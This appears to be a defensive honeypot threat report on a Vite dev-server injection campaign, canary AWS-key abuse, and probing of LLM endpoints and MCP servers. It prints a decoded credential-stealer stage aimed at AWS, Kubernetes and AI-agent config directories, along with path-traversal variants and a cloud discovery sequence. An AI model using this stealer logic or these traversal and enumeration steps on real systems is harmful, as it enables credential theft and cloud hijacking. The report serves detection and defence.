    The string first breaks out of Vite’s generated module source. It then smuggles a function into an import.meta.glob options object whose computed key calls toString. The result is returned to the attacker prefixed with RCE_B64:.

    Decoded stealer stage (lightly formatted):

    const P = globalThis.process, m = P.getBuiltinModule; if (!m) return "NO";
    const fs = m("fs"), os = m("os"), pt = m("path"), h = os.homedir(), o = [];
    for (const sub of [".codex", ".openclaw", ".openclaw/credentials", ".gemini", ".claude",
                       ".continue", ".n8n", ".aws", ".kube", ".deepseek", ".qwen", ".9router"]) {
      // read every regular file (skipping sqlite/.db), first 2,500 bytes each
      o.push("FILE:" + fp + "\n" + fs.readFileSync(fp, "utf8").slice(0, 2500));
    }
    return o.join("\n");

    Other stages. Some probes only set globalThis._lc = new Array(12) and return OK, which looks like a liveness check. Others write an encrypted 1–2 KB blob into globalThis._c[0], _pc[0] or _lhc[0]. That points to a staged loader that assembles a larger payload in memory over several requests.

    Two client variants were seen, often within one second of each other:

    VariantUser-AgentWrapperExample sources
    AMozilla/5.0`);}); + "RCE_B64:"+… outside the try188.40.126.118, 129.212.191.119, 45.192.213.3, 179.127.11.202
    BMozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36`);}}); + try/catch returning ERR:94.24.55.131, 20.240.201.114, 192.98.127.73, 195.136.69.169, 115.84.170.14

    Every Variant B source in this window was also an AWS canary-key user. The probes were preceded by a 5-request scan from a separate set of IPs: /@id/__vite-browser-external:path, /@vite/client, /.env, then /proc/self/environ or /actuator/env. Variants of the scan added /_nuxt/@vite/client, /.env.local, /.env.production, /app/.env and Gradio /file=/proc/self/environ paths. The pattern points to one platform that separates scanning, exploitation and key use across different hosts.

    Key-abuse infrastructure and tooling

    The user-agent string identifies the key-abuse toolkit more reliably than the IPs do. The same Boto3 build appeared from 17 IPs spanning cloud providers and residential ISPs, so the operator is probably routing through rented VPS and residential proxies.

    ClusterUser-Agent fingerprintNetworksUsed
    MainBoto3/1.44.9 md/Botocore#1.44.9 ua/2.1 os/linux#6.8.0-149-generic md/arch#x86_64 lang/python#3.12.3 … cfg/retry-mode#standard plus python-httpx/0.28.1 for BedrockGoogle Cloud, Hetzner, Contabo, Cyber_Folks, Microsoft, Selectel, IENS (HK), I Seven (IN), plus residential ISPs NapaNet (US), DIGI (RO), Movistar (CO), LINQ (BR), BESTGO (PL), Eltrona (LU)Keys A + B
    Tencent SGBoto3/1.43.114 … os/linux#6.6.117-45.14.1.tl4.x86_64 lang/python#3.14.7 … cfg/retry-mode#legacy (TencentOS)Tencent Cloud Singapore (150.109.18.216, 43.163.118.228, 43.156.248.66)Key A
    SingleBoto3/1.43.123 … os/linux#7.0.0-43-generic md/arch#aarch64 lang/python#3.13.18M247 Sofia (135.136.38.43)Key A

    Six IPs used both keys: 35.232.229.118, 37.60.247.177, 94.24.55.131, 206.81.100.145, 91.98.33.179 and 20.240.201.114.

    Call pattern. Each burst runs the same checklist within about 90 seconds, spread round-robin across proxies, often less than a second apart:

    1. GetCallerIdentity, to confirm the key works.
    2. ListAttachedUserPolicies, ListUserPolicies, ListGroupsForUser and ListUsers, to size up permissions.
    3. ListSecrets and DescribeParameters, to find more credentials.
    4. ListBuckets, ListFunctions and ListClusters, to find assets.
    5. Bedrock InvokeModel and Converse, to test model access.

    The Tencent cluster also called ListFoundationModels before Converse. Rotating source IPs between consecutive calls defeats per-IP rate limits and complicates CloudTrail triage.

    Other AI-infrastructure targeting

    Beyond the Vite stealer, the sensors saw three other kinds of AI-focused activity. One actor searched for coding-agent credential files, several validated LLM endpoints, and many scanners enumerated MCP servers. No actor called an MCP tool (tools/call) during the window.

    Claude Code credential traversal: 87.192.41.180. This actor made four passes, at 08:56 and 12:09 on Sensor 3 and at 09:00 and 11:49 on Sensor 4. Each pass sent about 20 encodings of a traversal to .claude/.credentials.json, where Claude Code stores OAuth tokens. It tried the web root, ../ to ../../../, %2e%2e/, %2e%2e%2f and ..%2f, and absolute paths under /root, /home/ubuntu, /home/debian, /home/admin and /home/claude. The user agent was desktop Chrome on Windows.

    LLM endpoint validators

    SourceBehavior
    45.112.149.170Polled /api/tags about every 20 min on both sensors (198 probes, Go-http-client/1.1). Sent /v1/chat/completions prompts to llama3.3:70b and qwen2.5-coder:32b: “Reply with exactly ROUTER_OK 323” and “Use the multiply tool to calculate 17 times 19. Do not calculate it yourself.” This tests whether an endpoint can serve tool-calling traffic for a router or reseller.
    103.215.75.173"hi", max_tokens: 5 to meta-llama/Llama-3.3-70B-Instruct and Qwen/Qwen2.5-Coder-32B-Instruct
    43.134.172.85 (Tencent)Chinese-language prompt (“Capital of France? City name only”) to Llama-3.3-70B. The same IP also harvested .env, /app/.env and /config/.env on both sensors.
    58.230.189.186“Say hello in one word” to llama3.3:70b and qwen2.5-coder:32b (portScout UA)
    186.241.117.180“What is 17*23? Reply with the number only” to Ollama /api/generate

    MCP enumeration. 23 MCP initialize handshakes were logged, followed by tools/list, prompts/list and resources/list. Clients identified as client, test-client, internet-census-mcp-scanner and CensysInspect. Infrawatch ran coordinated sweeps from about 15 IPs within one second, each IP doing one MCP verb. 106.63.26.0/24 opened SSE sessions (/sse then /messages/?session_id=) and requested /get_server_info. Censys read file:///app/config/settings.yaml and file:///app/.env through resources/read.

    Config harvesting. 185.177.72.29 (curl/8.7.1) requested /mcp.json and about 50 framework config backups (main-local.php.bak and .old under environments/{dev,prod}).

    MITRE ATT&CK mapping

    TacticTechniqueObserved as
    ReconnaissanceT1595.002 Active Scanning: Vulnerability Scanning5-request Vite / .env / environ scan; MCP and LLM API sweeps
    Initial AccessT1190 Exploit Public-Facing ApplicationVite import.meta.glob injection via /@id/__vite-browser-external:
    ExecutionT1059.007 JavaScriptNode.js payload via Function() and process.getBuiltinModule
    Credential AccessT1552.001 Unsecured Credentials: Credentials In Files.env, .claude/.credentials.json, ~/.aws, ~/.kube, AI-agent config dirs
    Credential AccessT1552 Unsecured Credentials (environment variables)/proc/self/environ, /actuator/env, Gradio file=
    Initial Access / PersistenceT1078.004 Valid Accounts: Cloud AccountsStolen AWS keys used within 30 s
    DiscoveryT1087.004 Account Discovery: Cloud AccountGetCallerIdentity, ListUsers, ListGroupsForUser
    DiscoveryT1069.003 Permission Groups Discovery: Cloud GroupsListAttachedUserPolicies, ListUserPolicies
    DiscoveryT1580 Cloud Infrastructure DiscoveryListBuckets, ListFunctions, ListClusters
    Credential AccessT1555.006 Credentials from Password Stores: Cloud Secrets ManagementListSecrets, DescribeParameters
    ImpactT1496.004 Resource Hijacking: Cloud Service HijackingBedrock InvokeModel / Converse (LLMjacking)
    Command and ControlT1090.002 / T1090.003 External / Multi-hop ProxyRound-robin across 17 VPS and residential IPs

    Indicators of compromise

    There are 61 IPs, tagged by role. Many harvesters are likely compromised cloud VMs, and some key users are residential proxies, so treat these as time-bound, not permanent blocks. The user-agent fingerprints and request patterns will last longer.

    Behavioral and string indicators

    • URL path prefix /@id/__vite-browser-external: containing a backtick or import.meta.glob (exploit), or ending in :path (scan)
    • Response or payload marker RCE_B64:; globals globalThis._c, _pc, _lhc, _lc
    • Scan sequence /@id/__vite-browser-external:path → /@vite/client → /.env → /proc/self/environ or /actuator/env, all with UA exactly Mozilla/5.0
    • Traversal to .claude/.credentials.json (raw, %2e%2e/ and ..%2f forms)
    • LLM prompt strings ROUTER_OK 323 and “Use the multiply tool to calculate 17 times 19”
    • AWS user agent Boto3/1.44.9 md/Botocore#1.44.9 ua/2.1 os/linux#6.8.0-149-generic md/arch#x86_64 lang/python#3.12.3
    • AWS user agent Boto3/1.43.114 … os/linux#6.6.117-45.14.1.tl4.x86_64 lang/python#3.14.7
    • python-httpx/0.28.1 calling Bedrock InvokeModel / Converse

    IP indicators (S3/S4 = sensor; keyA/keyB = canary key used)

    indicator,role,first_seen_utc,seen_on
    186.241.117.180,llm-endpoint-validator,2026-11-21T18:49:47Z,S4
    164.90.188.185,env-harvester,2026-11-21T21:25:55Z,S4
    188.40.126.118,vite-rce-stealer-probe,2026-11-21T21:26:53Z,S4
    94.24.55.131,aws-canary-key-abuse;vite-rce-stealer-probe,2026-11-21T21:26:54Z,keyA;keyB;S4
    20.240.201.114,aws-canary-key-abuse;vite-rce-stealer-probe,2026-11-21T21:28:13Z,keyA;keyB;S4
    185.177.72.29,config-harvester,2026-11-21T21:59:37Z,S4
    45.112.149.170,llm-endpoint-validator,2026-11-22T03:06:57Z,S3;S4
    35.232.229.118,aws-canary-key-abuse,2026-11-22T03:42:29Z,keyA;keyB
    37.60.247.177,aws-canary-key-abuse,2026-11-22T03:43:21Z,keyA;keyB
    206.81.100.145,aws-canary-key-abuse,2026-11-22T03:44:07Z,keyA;keyB
    103.215.75.173,llm-endpoint-validator,2026-11-22T04:50:33Z,S4
    87.192.41.180,claude-cred-traversal,2026-11-22T08:56:35Z,S3;S4
    5.189.165.83,env-harvester,2026-11-22T09:07:08Z,S4
    91.98.33.179,aws-canary-key-abuse,2026-11-22T09:10:14Z,keyA;keyB
    43.134.172.85,env-harvester;llm-endpoint-validator,2026-11-22T09:10:55Z,S3;S4
    2a01:4f8:c013:5662::1,aws-canary-key-abuse,2026-11-22T09:11:02Z,keyA
    150.109.18.216,aws-canary-key-abuse,2026-11-22T10:46:36Z,keyA
    43.163.118.228,aws-canary-key-abuse,2026-11-22T10:47:09Z,keyA
    43.156.248.66,aws-canary-key-abuse,2026-11-22T10:51:21Z,keyA
    158.23.162.152,env-harvester,2026-11-22T11:24:20Z,S3
    165.140.238.132,env-harvester,2026-11-22T11:36:33Z,S3
    58.230.189.186,llm-endpoint-validator,2026-11-22T13:40:47Z,S4
    62.171.136.158,env-harvester,2026-11-22T14:42:24Z,S4
    169.231.54.12,env-harvester,2026-11-22T15:25:01Z,S3
    45.192.213.3,vite-rce-stealer-probe,2026-11-22T15:25:49Z,S3
    192.98.127.73,aws-canary-key-abuse;vite-rce-stealer-probe,2026-11-22T15:25:50Z,keyB;S3
    2.29.0.89,env-harvester,2026-11-22T15:26:00Z,S3
    15.252.98.45,env-harvester,2026-11-22T15:26:03Z,S3
    185.182.184.26,env-harvester,2026-11-22T15:31:40Z,S3
    66.245.172.17,env-harvester,2026-11-22T17:24:18Z,S4
    43.228.157.56,env-harvester,2026-11-22T19:38:49Z,S4
    49.232.102.49,env-harvester,2026-11-22T20:15:49Z,S3
    129.212.191.119,vite-rce-stealer-probe,2026-11-22T20:18:16Z,S3
    195.136.69.169,aws-canary-key-abuse;vite-rce-stealer-probe,2026-11-22T20:18:17Z,keyB;S3
    23.88.63.188,env-harvester,2026-11-22T20:18:22Z,S3
    51.254.124.101,env-harvester,2026-11-22T20:18:22Z,S3
    145.241.223.145,env-harvester,2026-11-22T20:18:22Z,S3
    31.70.151.177,env-harvester,2026-11-22T20:18:23Z,S3
    174.138.183.88,env-harvester,2026-11-22T20:18:23Z,S3
    159.89.94.232,env-harvester,2026-11-22T20:18:23Z,S3
    137.184.170.85,env-harvester,2026-11-22T20:18:23Z,S3
    144.202.52.123,env-harvester,2026-11-22T20:18:24Z,S3
    98.70.32.107,env-harvester,2026-11-22T20:18:24Z,S3
    20.244.12.77,env-harvester,2026-11-22T20:18:24Z,S3
    65.2.143.213,env-harvester,2026-11-22T20:18:24Z,S3
    13.207.164.202,env-harvester,2026-11-22T20:18:24Z,S3
    34.143.153.204,env-harvester,2026-11-22T20:18:25Z,S3
    188.166.224.45,env-harvester,2026-11-22T20:18:25Z,S3
    163.176.41.61,env-harvester,2026-11-22T20:18:25Z,S3
    43.157.211.169,env-harvester,2026-11-22T20:18:28Z,S3
    178.104.73.250,aws-canary-key-abuse,2026-11-22T20:19:57Z,keyB
    86.125.220.199,aws-canary-key-abuse,2026-11-22T20:19:58Z,keyB
    185.175.46.92,aws-canary-key-abuse,2026-11-22T20:20:48Z,keyB
    177.200.44.92,aws-canary-key-abuse,2026-11-22T20:20:50Z,keyB
    115.84.170.14,aws-canary-key-abuse;vite-rce-stealer-probe,2026-11-22T20:20:53Z,keyB;S3
    45.202.5.25,aws-canary-key-abuse,2026-11-22T20:20:56Z,keyB
    186.115.220.210,aws-canary-key-abuse,2026-11-22T20:21:09Z,keyB
    179.127.11.202,vite-rce-stealer-probe,2026-11-22T20:21:39Z,S3
    139.159.212.171,env-harvester,2026-11-22T20:22:11Z,S3
    2a06:4944:17fe:5300:e284:642d:4a6a:9395,aws-canary-key-abuse,2026-11-22T20:23:43Z,keyB
    135.136.38.43,aws-canary-key-abuse,2026-11-22T22:18:11Z,keyA

    Detection and mitigation

    Assume that any secret readable from a web-exposed dev server or .env file is tested against AWS within a minute. Rotate first, then investigate.

    1. Never expose Vite, Nuxt or other dev servers to the internet. Bind to 127.0.0.1 (Vite’s default without --host), keep Vite patched, and put remote dev environments behind a VPN or an authenticating proxy.
    2. Keep secrets out of web roots and process environments that can be read remotely. Block /.env*, /proc/self/environ, /actuator/env and /@id/__vite-browser-external: at the WAF or reverse proxy, and alert on them.
    3. Protect AI-agent credential directories. On dev hosts that serve anything publicly, treat ~/.claude, ~/.codex, ~/.gemini, ~/.continue, ~/.n8n, ~/.aws and ~/.kube as high-value. Prefer short-lived credentials (SSO, IAM Identity Center, aws sso login) over long-lived keys on disk. Revoke and reissue agent OAuth tokens if a dev server was ever exposed.
    4. CloudTrail detections:
      • GetCallerIdentity followed within 5 minutes by ListSecrets, DescribeParameters or ListAttachedUserPolicies from a different source IP
      • One access key used from 3 or more ASNs within 10 minutes
      • bedrock:InvokeModel, Converse or ListFoundationModels from principals that never use Bedrock
      • The Boto3 user-agent strings in the IOC section
    5. Restrict Bedrock. Use SCPs to deny bedrock:* in accounts and regions that don’t need it, and enable model invocation logging where Bedrock is used.
    6. Seed canaries. Put AWS canary keys in .env, CI variables and agent config directories. In this case they turned a 30-second compromise into a full timeline.
    7. MCP servers. Require authentication on Streamable HTTP and SSE endpoints. Don’t expose resources/read for files that contain secrets: scanners such as Censys already read file:///app/.env through MCP.

    Confidence, limitations and handling

    • Confidence. High for the event sequence, payload contents and user-agent fingerprints, which come directly from sensor logs and canary alerts. High that the Key B harvest and abuse are linked: 30-second gap, shared IPs. Moderate that Key A came from Sensor 4’s .env rather than the MCP resources/read path. Low on actor identity: no attribution to a named group is made.
    • Limitations. The window is about 28 hours. Both canary exports hit 50 rows, so abuse volume may be undercounted. The honeypot returned 404 to the Vite exploit, so later stages and any exfiltration endpoint were not observed. Key-user IPs are likely proxies.
    • Handling. TLP:CLEAR. Sensor IP addresses are withheld. The canary account IDs belong to canary infrastructure and are included so other defenders can correlate. Sightings of the Boto3 fingerprints or RCE_B64: payloads are welcome.

    Help keep the honeypots running: https://ko-fi.com/gettingphishedsucks